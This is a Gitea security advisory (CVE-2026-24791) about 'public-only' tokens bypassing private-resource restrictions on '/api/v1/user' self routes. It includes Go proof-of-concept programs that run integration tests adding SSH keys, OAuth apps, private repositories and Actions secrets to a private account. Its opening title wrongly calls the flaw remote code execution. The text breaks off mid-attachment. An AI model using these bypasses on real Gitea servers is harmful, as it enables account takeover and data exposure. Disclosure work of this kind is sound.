CVE-2026-24791: Gitea Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wrr5-99h5-gq57",
  "modified" : "2026-06-17T18:09:41Z",
  "published" : "2026-06-17T18:09:41Z",
  "aliases" : [ "CVE-2026-24791" ],
  "summary" : "Gitea: Public-only tokens bypass private-resource restrictions on `/api/v1/user` self routes",
  "details" : "## Summary\n\nMany authenticated self routes under `/api/v1/user/...` do not enforce the `public-only` token restriction. As a result, a token or OAuth grant marked `public-only`, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.\n\nThe canonical private-user endpoint correctly rejects the same tokens, for example `GET /api/v1/users/{privateUser}` returns `403`. The bypass exists because the generic `/api/v1/user` route group requires user scope and `reqToken()`, but does not enforce the token's public-only restriction for most self routes.\n\nThis is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.\n\nThis appears related to the previously fixed public-only token issue tracked as [CVE-2025-68941 / GHSA-xfq3-qj7j-4565](https://github.com/advisories/GHSA-xfq3-qj7j-4565), which affected Gitea `< 1.22.3`. The behavior described here reproduces on tested main checkout `6a2706626904`. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.\n\n## Affected Code\n\nThe generic `/api/v1/user` group is mounted with user scope and `reqToken()`:\n\n- `routers/api/v1/api.go:1008-1128`\n\n`tokenRequiresScopes()` sets `ctx.PublicOnly` when the token contains `public-only`, but the public-only restriction is enforced only by routes that also call `checkTokenPublicOnly()`:\n\n- `routers/api/v1/api.go:241-294` implements `checkTokenPublicOnly()`.\n- `routers/api/v1/api.go:299-341` sets `ctx.PublicOnly` from the token scope.\n\nRepresentative affected routes in that group:\n\n- `/api/v1/user`: private self profile and settings.\n- `/api/v1/user/emails`: read, add, and delete account email addresses.\n- `/api/v1/user/keys`: list and add SSH public keys.\n- `/api/v1/user/applications/oauth2`: list and create OAuth2 applications, including returned client secrets.\n- `/api/v1/user/actions/secrets/{secretname}`: create or delete user-level Actions secrets.\n- `/api/v1/user/actions/variables`: list, read, create, update, and delete user-level Actions variables.\n- `/api/v1/user/actions/runners/...`: list, update, delete runners, and mint registration tokens.\n- `/api/v1/user/actions/runs` and `/api/v1/user/actions/jobs`: list workflow metadata for private repositories.\n- `/api/v1/user/repos`: create private repositories and list private repositories.\n- `/api/v1/user/subscriptions`, `/api/v1/user/times`, `/api/v1/user/stopwatches`, `/api/v1/user/teams`, `/api/v1/user/hooks`: leak or modify private-account resources.\n\nCorrect public-only enforcement for comparison:\n\n- `routers/api/v1/api.go:970-1008` applies `context.UserAssignmentAPI()` and `checkTokenPublicOnly()` to canonical `/api/v1/users/{username}` routes.\n- `routers/api/v1/user/user.go:122-125` rejects public-only access to private users on `/api/v1/users/{username}`.\n- `routers/api/v1/api.go:1091-1092` shows that `/api/v1/user/repos` requires the additional repository scope category, but still does not apply `checkTokenPublicOnly()`.\n\n## Local PoCs\n\nThe following dynamic PoCs were retested on checkout `6a2706626904` and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.\n\n```bash\ncd pocs\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go\nGITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go\n```\n\n## Reproduced Impact Examples\n\nUsing private fixture user `user31`, public-only tokens are rejected by `GET /api/v1/users/user31`, but tokens with the route-required scopes can still reach the self routes below.\n\nConfirmed with `public-only,write:user`:\n\n- add SSH keys through `/api/v1/user/keys`;\n- add account emails through `/api/v1/user/emails`;\n- create OAuth2 applications and receive `client_secret` through `/api/v1/user/applications/oauth2`;\n- create/delete user-level Actions secrets;\n- create/read/list/update/delete user-level Actions variables;\n- mint user-level runner registration tokens;\n- manage user-level runners;\n- create user webhooks.\n\nConfirmed with `public-only,read:user`:\n\n- read private self profile/settings and account email surfaces;\n- list OAuth2 applications and user webhooks;\n- list private repository workflow runs/jobs exposed through self Actions routes;\n- list private subscriptions, tracked times, stopwatches, and team memberships.\n\nConfirmed with `public-only` plus the route-required repository category:\n\n- create private repositories through `POST /api/v1/user/repos` with `public-only,write:user,write:repository`;\n- list those private repositories through `GET /api/v1/user/repos` with `public-only,read:user,read:repository`, while the canonical private repository endpoint remains forbidden.\n\n## Impact\n\nThe `public-only` token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.\n\nPractical abuse scenarios include:\n\n- a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;\n- a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;\n- a token limited to public resources creating and enumerating private repositories;\n- a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.\n\n## Suggested Fix\n\nApply public-only enforcement consistently to self routes under `/api/v1/user`.\n\nAt minimum:\n\n- for self routes, treat `ctx.Doer` as the target user/resource owner when enforcing `public-only`; mechanically adding `checkTokenPublicOnly()` is not sufficient unless `ctx.ContextUser` is set to `ctx.Doer` or the check explicitly handles self routes;\n- reject `ctx.PublicOnly` on credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations;\n- filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;\n- add regression coverage that compares each affected `/api/v1/user/...` route against the canonical private-user or private-repository endpoint.\n\nNon-public-only tokens should preserve current behavior.\n\n---\n\n## Attachment: `api_public_only_user_ssh_key_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"os\"\n        \"os/exec\"\n        \"path/filepath\"\n        \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n        \"net/http\"\n        \"testing\"\n\n        asymkey_model \"code.gitea.io/gitea/models/asymkey\"\n        auth_model \"code.gitea.io/gitea/models/auth\"\n        \"code.gitea.io/gitea/models/unittest\"\n        user_model \"code.gitea.io/gitea/models/user\"\n        api \"code.gitea.io/gitea/modules/structs\"\n        \"code.gitea.io/gitea/tests\"\n\n        \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {\n        defer tests.PrepareTestEnv(t)()\n\n        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user31\"})\n        require.True(t, privateUser.Visibility.IsPrivate())\n\n        session := loginUser(t, privateUser.Name)\n        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n        MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n        req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n                Title: \"public-only-private-key-bypass\",\n                Key:   \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment\",\n        }).AddTokenAuth(publicOnlyWriteUserToken)\n        resp := MakeRequest(t, req, http.StatusCreated)\n        key := DecodeJSON(t, resp, &api.PublicKey{})\n        require.Equal(t, \"public-only-private-key-bypass\", key.Title)\n\n        unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{\n                ID:      key.ID,\n                OwnerID: privateUser.ID,\n                Name:    \"public-only-private-key-bypass\",\n        })\n\n        req = NewRequest(t, \"GET\", \"/api/v1/user/keys\").AddTokenAuth(publicOnlyWriteUserToken)\n        resp = MakeRequest(t, req, http.StatusOK)\n        keys := DecodeJSON(t, resp, []api.PublicKey{})\n        found := false\n        for _, k := range keys {\n                if k.ID == key.ID {\n                        found = true\n                        break\n                }\n        }\n        require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n        candidates := []string{}\n        if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n                candidates = append(candidates, repo)\n        }\n        candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n        for _, candidate := range candidates {\n                if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/key.go\")); err == nil {\n                        return filepath.Clean(candidate)\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n        os.Exit(2)\n        return \"\"\n}\n\nfunc main() {\n        repo := repoPath()\n        testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go\")\n        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n                fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n                os.Exit(2)\n        }\n        defer func() {\n                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {\n                        fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n                }\n        }()\n\n        cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserSSHKeyBypass\", \"code.gitea.io/gitea/tests/integration\")\n        cmd.Dir = repo\n        cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n        out, err := cmd.CombinedOutput()\n        fmt.Printf(\"source=%s\\n\", repo)\n        fmt.Print(string(out))\n        if err != nil {\n                fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n                os.Exit(1)\n        }\n        fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n        fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys\")\n        fmt.Println(\"reproduced: the same token can list that newly added key through /api/v1/user/keys\")\n        fmt.Println(\"condition=private user issues a public-only,write:user token\")\n        fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_oauth_app_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"os\"\n        \"os/exec\"\n        \"path/filepath\"\n        \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n        \"net/http\"\n        \"testing\"\n\n        auth_model \"code.gitea.io/gitea/models/auth\"\n        \"code.gitea.io/gitea/models/unittest\"\n        user_model \"code.gitea.io/gitea/models/user\"\n        api \"code.gitea.io/gitea/modules/structs\"\n        \"code.gitea.io/gitea/tests\"\n\n        \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {\n        defer tests.PrepareTestEnv(t)()\n\n        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user31\"})\n        require.True(t, privateUser.Visibility.IsPrivate())\n\n        session := loginUser(t, privateUser.Name)\n        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n        publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)\n\n        MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)\n\n        req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/applications/oauth2\", &api.CreateOAuth2ApplicationOptions{\n                Name:               \"public-only-private-oauth-app\",\n                RedirectURIs:       []string{\"https://example.com/callback\"},\n                ConfidentialClient: true,\n        }).AddTokenAuth(publicOnlyWriteUserToken)\n        resp := MakeRequest(t, req, http.StatusCreated)\n        app := DecodeJSON(t, resp, &api.OAuth2Application{})\n        require.Equal(t, \"public-only-private-oauth-app\", app.Name)\n        require.NotEmpty(t, app.ClientID)\n        require.NotEmpty(t, app.ClientSecret)\n\n        req = NewRequest(t, \"GET\", \"/api/v1/user/applications/oauth2\").AddTokenAuth(publicOnlyReadUserToken)\n        resp = MakeRequest(t, req, http.StatusOK)\n        apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})\n        found := false\n        for _, a := range apps {\n                if a.ID == app.ID && a.Name == app.Name {\n                        found = true\n                        break\n                }\n        }\n        require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n        candidates := []string{}\n        if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n                candidates = append(candidates, repo)\n        }\n        candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n        for _, candidate := range candidates {\n                if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/app.go\")); err == nil {\n                        return filepath.Clean(candidate)\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n        os.Exit(2)\n        return \"\"\n}\n\nfunc main() {\n        repo := repoPath()\n        testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go\")\n        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n                fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n                os.Exit(2)\n        }\n        defer func() {\n                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {\n                        fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n                }\n        }()\n\n        cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserOAuthAppBypass\", \"code.gitea.io/gitea/tests/integration\")\n        cmd.Dir = repo\n        cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n        out, err := cmd.CombinedOutput()\n        fmt.Printf(\"source=%s\\n\", repo)\n        fmt.Print(string(out))\n        if err != nil {\n                fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n                os.Exit(1)\n        }\n        fmt.Println(\"reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint\")\n        fmt.Println(\"reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret\")\n        fmt.Println(\"reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2\")\n        fmt.Println(\"condition=private user issues public-only tokens with route-required user scopes\")\n        fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_repos_private_repo_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"os\"\n        \"os/exec\"\n        \"path/filepath\"\n        \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n        \"net/http\"\n        \"testing\"\n\n        auth_model \"code.gitea.io/gitea/models/auth\"\n        \"code.gitea.io/gitea/models/unittest\"\n        user_model \"code.gitea.io/gitea/models/user\"\n        api \"code.gitea.io/gitea/modules/structs\"\n        \"code.gitea.io/gitea/tests\"\n\n        \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserReposBypass(t *testing.T) {\n        defer tests.PrepareTestEnv(t)()\n\n        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user31\"})\n        require.True(t, privateUser.Visibility.IsPrivate())\n\n        session := loginUser(t, privateUser.Name)\n        publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,\n                auth_model.AccessTokenScopePublicOnly,\n                auth_model.AccessTokenScopeReadUser,\n                auth_model.AccessTokenScopeReadRepository,\n        )\n        publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,\n                auth_model.AccessTokenScopePublicOnly,\n                auth_model.AccessTokenScopeWriteUser,\n                auth_model.AccessTokenScopeWriteRepository,\n        )\n\n        req := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/repos\", &api.CreateRepoOption{\n                Name:    \"public-only-private-repo\",\n                Private: true,\n        }).AddTokenAuth(publicOnlyWriteRepoToken)\n        resp := MakeRequest(t, req, http.StatusCreated)\n        created := DecodeJSON(t, resp, &api.Repository{})\n        require.Equal(t, \"user31/public-only-private-repo\", created.FullName)\n        require.True(t, created.Private)\n\n        MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/repos/user31/public-only-private-repo\").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)\n\n        resp = MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/user/repos\").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)\n        repos := DecodeJSON(t, resp, []api.Repository{})\n        found := false\n        for _, repo := range repos {\n                if repo.FullName == \"user31/public-only-private-repo\" {\n                        found = true\n                        require.True(t, repo.Private)\n                }\n        }\n        require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n        candidates := []string{}\n        if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n                candidates = append(candidates, repo)\n        }\n        candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n        for _, candidate := range candidates {\n                if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/repo.go\")); err == nil {\n                        return filepath.Clean(candidate)\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n        os.Exit(2)\n        return \"\"\n}\n\nfunc main() {\n        repo := repoPath()\n        testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go\")\n        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n                fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n                os.Exit(2)\n        }\n        defer func() {\n                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {\n                        fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n                }\n        }()\n\n        cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserReposBypass\", \"code.gitea.io/gitea/tests/integration\")\n        cmd.Dir = repo\n        cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n        out, err := cmd.CombinedOutput()\n        fmt.Printf(\"source=%s\\n\", repo)\n        fmt.Print(string(out))\n        if err != nil {\n                fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n                os.Exit(1)\n        }\n        fmt.Println(\"reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos\")\n        fmt.Println(\"reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo\")\n        fmt.Println(\"reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos\")\n        fmt.Println(\"condition=private user issues public-only tokens with route-required user and repository scopes\")\n        fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"os\"\n        \"os/exec\"\n        \"path/filepath\"\n        \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n        \"net/http\"\n        \"testing\"\n\n        auth_model \"code.gitea.io/gitea/models/auth\"\n        \"code.gitea.io/gitea/models/unittest\"\n        user_model \"code.gitea.io/gitea/models/user\"\n        api \"code.gitea.io/gitea/modules/structs\"\n        \"code.gitea.io/gitea/tests\"\n\n        \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) {\n        defer tests.PrepareTestEnv(t)()\n\n        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user31\"})\n        require.True(t, privateUser.Visibility.IsPrivate())\n\n        session := loginUser(t, privateUser.Name)\n        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n        MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n        req := NewRequestWithJSON(t, \"PUT\", \"/api/v1/user/actions/secrets/PRIVATE_SECRET\", api.CreateOrUpdateSecretOption{\n                Data: \"top-secret\",\n        }).AddTokenAuth(publicOnlyWriteUserToken)\n        MakeRequest(t, req, http.StatusCreated)\n\n        req = NewRequestWithJSON(t, \"POST\", \"/api/v1/user/actions/variables/PRIVATE_VAR\", api.CreateVariableOption{\n                Value:       \"private-value\",\n                Description: \"scoped through public-only token\",\n        }).AddTokenAuth(publicOnlyWriteUserToken)\n        MakeRequest(t, req, http.StatusCreated)\n\n        req = NewRequest(t, \"GET\", \"/api/v1/user/actions/variables/PRIVATE_VAR\").AddTokenAuth(publicOnlyWriteUserToken)\n        resp := MakeRequest(t, req, http.StatusOK)\n        variable := DecodeJSON(t, resp, &api.ActionVariable{})\n        require.Equal(t, \"PRIVATE_VAR\", variable.Name)\n        require.Equal(t, \"private-value\", variable.Data)\n\n        req = NewRequest(t, \"GET\", \"/api/v1/user/actions/variables\").AddTokenAuth(publicOnlyWriteUserToken)\n        resp = MakeRequest(t, req, http.StatusOK)\n        variables := DecodeJSON(t, resp, []*api.ActionVariable{})\n        found := false\n        for _, v := range variables {\n                if v.Name == \"PRIVATE_VAR\" && v.Data == \"private-value\" {\n                        found = true\n                        break\n                }\n        }\n        require.True(t, found)\n}\n`\n\nfunc repoPath() string {\n        candidates := []string{}\n        if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n                candidates = append(candidates, repo)\n        }\n        candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n        for _, candidate := range candidates {\n                if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/action.go\")); err == nil {\n                        return filepath.Clean(candidate)\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n        os.Exit(2)\n        return \"\"\n}\n\nfunc main() {\n        repo := repoPath()\n        testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go\")\n        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n                fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n                os.Exit(2)\n        }\n        defer func() {\n                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {\n                        fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n                }\n        }()\n\n        cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserActionsSecretVariableBypass\", \"code.gitea.io/gitea/tests/integration\")\n        cmd.Dir = repo\n        cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n        out, err := cmd.CombinedOutput()\n        fmt.Printf(\"source=%s\\n\", repo)\n        fmt.Print(string(out))\n        if err != nil {\n                fmt.Fprintf(os.Stderr, \"not reproduced: go test failed: %v\\n\", err)\n                os.Exit(1)\n        }\n        fmt.Println(\"reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint\")\n        fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account\")\n        fmt.Println(\"reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables\")\n        fmt.Println(\"condition=private user issues a public-only,write:user token\")\n        fmt.Println(\"cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\")\n}\n\n```\n\n---\n\n## Attachment: `api_public_only_user_runner_registration_bypass_dynamic_poc.go`\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"os\"\n        \"os/exec\"\n        \"path/filepath\"\n        \"strings\"\n)\n\nconst testSource = `// PoC test for private security report.\n// SPDX-License-Identifier: MIT\n\npackage integration\n\nimport (\n        \"net/http\"\n        \"testing\"\n\n        auth_model \"code.gitea.io/gitea/models/auth\"\n        \"code.gitea.io/gitea/models/unittest\"\n        user_model \"code.gitea.io/gitea/models/user\"\n        \"code.gitea.io/gitea/tests\"\n\n        \"github.com/stretchr/testify/require\"\n)\n\nfunc TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) {\n        defer tests.PrepareTestEnv(t)()\n\n        privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user31\"})\n        require.True(t, privateUser.Visibility.IsPrivate())\n\n        session := loginUser(t, privateUser.Name)\n        publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)\n\n        MakeRequest(t, NewRequest(t, \"GET\", \"/api/v1/users/user31\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)\n\n        resp := MakeRequest(t, NewRequest(t, \"POST\", \"/api/v1/user/actions/runners/registration-token\").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK)\n        registrationToken := DecodeJSON(t, resp, &map[string]string{})\n        require.NotEmpty(t, (*registrationToken)[\"token\"])\n}\n`\n\nfunc repoPath() string {\n        candidates := []string{}\n        if repo := os.Getenv(\"GITEA_REPO\"); repo != \"\" {\n                candidates = append(candidates, repo)\n        }\n        candidates = append(candidates, \"../repo\", \"../../gitea/repo\", \"../../gitea\")\n\n        for _, candidate := range candidates {\n                if _, err := os.Stat(filepath.Join(candidate, \"routers/api/v1/user/runners.go\")); err == nil {\n                        return filepath.Clean(candidate)\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"could not locate Gitea checkout; tried: %s\\n\", strings.Join(candidates, \", \"))\n        os.Exit(2)\n        return \"\"\n}\n\nfunc main() {\n        repo := repoPath()\n        testPath := filepath.Join(repo, \"tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go\")\n        if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {\n                fmt.Fprintf(os.Stderr, \"write temp test: %v\\n\", err)\n                os.Exit(2)\n        }\n        defer func() {\n                if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {\n                        fmt.Fprintf(os.Stderr, \"warning: remove temp test: %v\\n\", err)\n                }\n        }()\n\n        cmd := exec.Command(\"go\", \"test\", \"-timeout\", \"40m\", \"-run\", \"TestAPIPublicOnlyUserRunnerRegistrationBypass\", \"code.gitea.io/gitea/tests/integration\")\n        cmd.Dir = repo\n        cmd.Env = append(os.Environ(), \"SNAP=1\", \"SNAP_NAME=gitea-test\", \"GOTOOLCHAIN=auto\")\n        